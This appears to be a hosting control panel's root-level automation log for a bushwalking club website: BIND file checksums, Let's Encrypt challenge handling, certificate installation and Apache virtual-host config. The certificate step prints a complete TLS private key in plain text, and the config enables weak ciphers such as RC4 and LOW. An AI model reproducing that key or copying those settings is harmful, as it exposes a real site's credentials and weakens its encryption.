MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-11 20:47:06: Establishing a connection
2025-10-11 20:47:06: Establishing a connection
2025-10-11 20:47:06:
PUT: /tmp/pkp375379
#!/bin/bash
if [ -d "/var/www/dalmenynaroomabushwalkers_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-11 20:47:06:
chmod 755 /tmp/pkp375379; /tmp/pkp375379; rm /tmp/pkp375379
2025-10-11 20:47:06:
1
2025-10-11 20:47:07: Establishing a connection
2025-10-11 20:47:07:
PUT: /tmp/pkp346951
#!/bin/bash
mkdir -p "/var/www/dalmenynaroomabushwalkers_www/.well-known/acme-challenge/"
cd "/var/www/dalmenynaroomabushwalkers_www/.well-known/acme-challenge/"
cat > 40Q-0jFVvMGy43iayxJRdxqgi5wG4zfWltjrp0wcCKo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
40Q-0jFVvMGy43iayxJRdxqgi5wG4zfWltjrp0wcCKo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 40Q-0jFVvMGy43iayxJRdxqgi5wG4zfWltjrp0wcCKo
cat > Oe2-2njtrtg-2IGlNN-bCs9HUe5ZK9PWTct5u5WayfA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Oe2-2njtrtg-2IGlNN-bCs9HUe5ZK9PWTct5u5WayfA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Oe2-2njtrtg-2IGlNN-bCs9HUe5ZK9PWTct5u5WayfA
2025-10-11 20:47:08:
chmod 755 /tmp/pkp346951; /tmp/pkp346951; rm /tmp/pkp346951
2025-10-11 20:47:08:
2025-10-11 20:47:18: Establishing a connection
2025-10-11 20:47:18:
PUT: /tmp/pkp848816
#!/bin/bash
mkdir -p "/var/www/dalmenynaroomabushwalkers_www/.well-known/acme-challenge/"
cd "/var/www/dalmenynaroomabushwalkers_www/.well-known/acme-challenge/"
rm 40Q-0jFVvMGy43iayxJRdxqgi5wG4zfWltjrp0wcCKo
rm Oe2-2njtrtg-2IGlNN-bCs9HUe5ZK9PWTct5u5WayfA
2025-10-11 20:47:18:
chmod 755 /tmp/pkp848816; /tmp/pkp848816; rm /tmp/pkp848816
2025-10-11 20:47:18:
2025-10-11 20:47:18: Establishing a connection
2025-10-11 20:47:18:
PUT: /tmp/pkp737807
#!/bin/bash
temp_file=$(mktemp)
TARGET=65c19728b6c59b5ac40abac85aa0d8fa.crt
cat > $temp_file <<'endmsg'
85:26:d0:ea:d1:70:ea:c9:4c:c7:cb:4d:f9:e0:c8:e0
-----BEGIN CERTIFICATE-----
MIIFPDCCBCSgAwIBAgISBZTibAGyGEICa7vlq+++PN/uMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDExMTk0ODQ3WhcNMjYwMTA5MTk0ODQ2WjApMScwJQYDVQQD
Ex5kYWxtZW55bmFyb29tYWJ1c2h3YWxrZXJzLmluZm8wggEiMA0GCSqGSIb3DQEB
AQUAA4IBDwAwggEKAoIBAQC35NT4lAURFAa5DfMdDvT8VhHm0vyt03Vn5dLkEJae
fO3UFthWGFiGPhtLPc5vxhFH988G7LkMZKjCrf9r6Nbgua+3Jy19nkBYR5nsvtFr
8ci/QZMND3m8WahG3+m0yFWUZgv/10W5h/LJAa0iDUB3mS86d0XmIG89/TE2UmtO
khGOJ5Xxk6kGwTXWt45KNWDGXgRoc6BGugrBQVOFStr70lawAEZxZRMSD/lI/I7M
v9pnWhx/x2SROZdisXa5ZuA+SXoj6nzzpQzcQWisewNtX2eDNArI44RamnFB4xoj
svXZAtzY6D5RLNsg0KZ+jfwQBOOk/oonutyjvDBVbSVBAgMBAAGjggJSMIICTjAO
BgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwG
A1UdEwEB/wQCMAAwHQYDVR0OBBYEFOCXiSqrAUpXgFpnd5H+bPStqW1/MB8GA1Ud
IwQYMBaAFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggr
BgEFBQcwAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wTQYDVR0RBEYwRIIeZGFs
bWVueW5hcm9vbWFidXNod2Fsa2Vycy5pbmZvgiJ3d3cuZGFsbWVueW5hcm9vbWFi
dXNod2Fsa2Vycy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTExLmNybDCCAQMGCisGAQQB
1nkCBAIEgfQEgfEA7wB2AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjn
AAABmdUHHu0AAAQDAEcwRQIhAMLrreAyBPUKBKusa39sFmcuIxsSaGMO6q7tzjQs
9yFbAiBvn1pjXgHg2I+X6XnW6QxNhaxXfAPxcrKuXDVdEcTpuQB1AA5XlLzzrqk+
MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmdUHHt4AAAQDAEYwRAIgLDxQrtdE
8JtQL4cLOfuREwW0gg0yNQLNMxK7IaP+PSACIFxQ/uykAN0iJl5O1Zl2eFZCFQyZ
dZcxB+IooO2F7E9oMA0GCSqGSIb3DQEBCwUAA4IBAQBhQeV2VbEMThx0PlU0mqNW
EDVv6VNNYQTJmvwVf5aUfziXmmkmEA2sKwjGXwY1cuSbf/xPblul9WPTIImpb7Lz
POffRoFqJ9f38qdpmYu31HbB6xPTJSDaMxWKWNEAMt055EkDlxVwupsBZLdKx5Vg
pMtWh+IkYQxwk1m7nwhzvg/VyzgSWkIGNKViM/O3qTjGWhD8rv+5KGogyJVBS0pI
MzydEkqbBYAmDkoDeuSBijklWFqnVlOFPY7hMUnRYu3on1hJ/VbXwKQGQQZn8X8Z
XVZ2WBecqHnNMisAUfgjdlzggkUoHuz9yoSIqwic/YutzsYCWBV0Fn5IaFAn5Vdl
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC35NT4lAURFAa5
DfMdDvT8VhHm0vyt03Vn5dLkEJaefO3UFthWGFiGPhtLPc5vxhFH988G7LkMZKjC
rf9r6Nbgua+3Jy19nkBYR5nsvtFr8ci/QZMND3m8WahG3+m0yFWUZgv/10W5h/LJ
Aa0iDUB3mS86d0XmIG89/TE2UmtOkhGOJ5Xxk6kGwTXWt45KNWDGXgRoc6BGugrB
QVOFStr70lawAEZxZRMSD/lI/I7Mv9pnWhx/x2SROZdisXa5ZuA+SXoj6nzzpQzc
QWisewNtX2eDNArI44RamnFB4xojsvXZAtzY6D5RLNsg0KZ+jfwQBOOk/oonutyj
vDBVbSVBAgMBAAECggEAYUvmztrqT13sLK9PyTknr/cOI7XQUVxHi0BTM63/Mz3g
S84Gio75D5X+tPGvrv36GLzpwb0wL3l2vQJ42SxpvJ8idGJ7NDKt0seXjmZrwZQ8
5cyZNFjSzTAW0+EW8zrn5MuVX7kTwBVJBMcpRpICYQUgsut2hUr18LNs/VPgSMIk
asDT1gQ+u9ZwpmqeUMGkPN7w0jdDVPkdU3OWx7nB1jywiwpQTa3QWV/BR0RvlkYQ
emiYpptZL/zVsi11uFvIdd2D9EkaeHsbLoPQry06mhMucAVCwpn3mEsQX1U72hC7
YNFqQAzRh1K8dub5a8nbdz77Dn6Mu12ohIUXsSqBPQKBgQDfeDZtMGMPM+61Ztnq
gTTs4s4JsLWfBamJJWyPwJgpiNHbLZOCmHM+E8ej4gel6Whv9v8YbXcMsjxO/br3
n+t49owCaBHWleE2hh0++CSnD9MHVBGQonZ0XwAGlms4+oG1vGoKwLSbQwnujR9w
aWhr8UY9wBlcSYtpdzczdVfWwwKBgQDSqcvfGsXLj6T/ZpdIheoJ1ofHgHdcoTzJ
ToLhQq6mjVy0AUU/4RRl9DgOl9r3rZMm9Mu261rG1w17qwomffVzVOWBlX30FqgW
b+ZnauxLDOg8kz+Lhd+XSynHdjgAeCXGM8IqAYdLhfF17hHZqnwaTdB9eDU8rbMI
/hlb8xt7qwKBgQDXY2eaIFwqKBT5VTPOulCHzidm4aJ8rpl0rdSQTcKbrdsPVUNr
SYMyHyB6Tf6vJGRcHoZLRh7L5vMH87kEuWfdhEz4eNRQrs+OnP+NVOEHANKWqqnv
bRedHH/K2appFdJ1ly/iQ1EQoTHucqkN0Rsrhzb7h68p61zq/1P+TiimvwKBgFTv
PpJSIgNDg/uxKjeEPmr/Arlt0zIWlAJ51AzsLKxb/E9a38e0gNvmTh+cHB2V7ula
8zNpyqy2keoVeL8yM57vUKUhV6ns5JI/RX7WvjQ4HP4nRAyFyjMei9aulD+kMV6r
CZKUES9i7opklO/Ua7rTOscLizNOuQtcH29SIfeHAoGACzZkz9A49ITpCwtu8I6h
MH788NGNqFJ1FubjS3ybgnXwGI09PLsVhEUT/kcjZXvU2Vq6bCQn18sorfdtUuKf
mGhM69lFFPw0ixHtcnz7NTQApD9mqIORZyWW5/FcoIe36wVzEEDb+qOQ6h+19Yfa
/th9Vxh5Ro/rhwNrWq2pS64=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-11 20:47:18:
chmod 755 /tmp/pkp737807; /tmp/pkp737807; rm /tmp/pkp737807
2025-10-11 20:47:18:
dir=/etc/ssl/certs
2025-10-11 20:47:18:
PUT: /tmp/pkp824010
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-11 20:47:18:
chmod 755 /tmp/pkp824010; /tmp/pkp824010; rm /tmp/pkp824010
2025-10-11 20:47:18:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf 58
<VirtualHost *:80>
ServerName dalmenynaroomabushwalkers.info
ServerAlias www.dalmenynaroomabushwalkers.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/dalmenynaroomabushwalkers_www
<Directory /var/www/dalmenynaroomabushwalkers_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dalmenynaroomabushwalkers/www_access.log combined
ErrorLog /var/log/apache2/dalmenynaroomabushwalkers/www_error.log
SetEnv pkp_uid 47
SetEnv pkp_owner dalmeny
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dalmenynaroomabushwalkers.info
ServerAlias www.dalmenynaroomabushwalkers.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt
DocumentRoot /var/www/dalmenynaroomabushwalkers_www
<Directory /var/www/dalmenynaroomabushwalkers_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dalmenynaroomabushwalkers/www_secure_access.log combined
ErrorLog /var/log/apache2/dalmenynaroomabushwalkers/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-11 20:47:18:
PUT: /tmp/pkp593613
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=dalmenynaroomabushwalkers_www_info.conf
TARGET=/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName dalmenynaroomabushwalkers.info
ServerAlias www.dalmenynaroomabushwalkers.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/dalmenynaroomabushwalkers_www
<Directory /var/www/dalmenynaroomabushwalkers_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dalmenynaroomabushwalkers/www_access.log combined
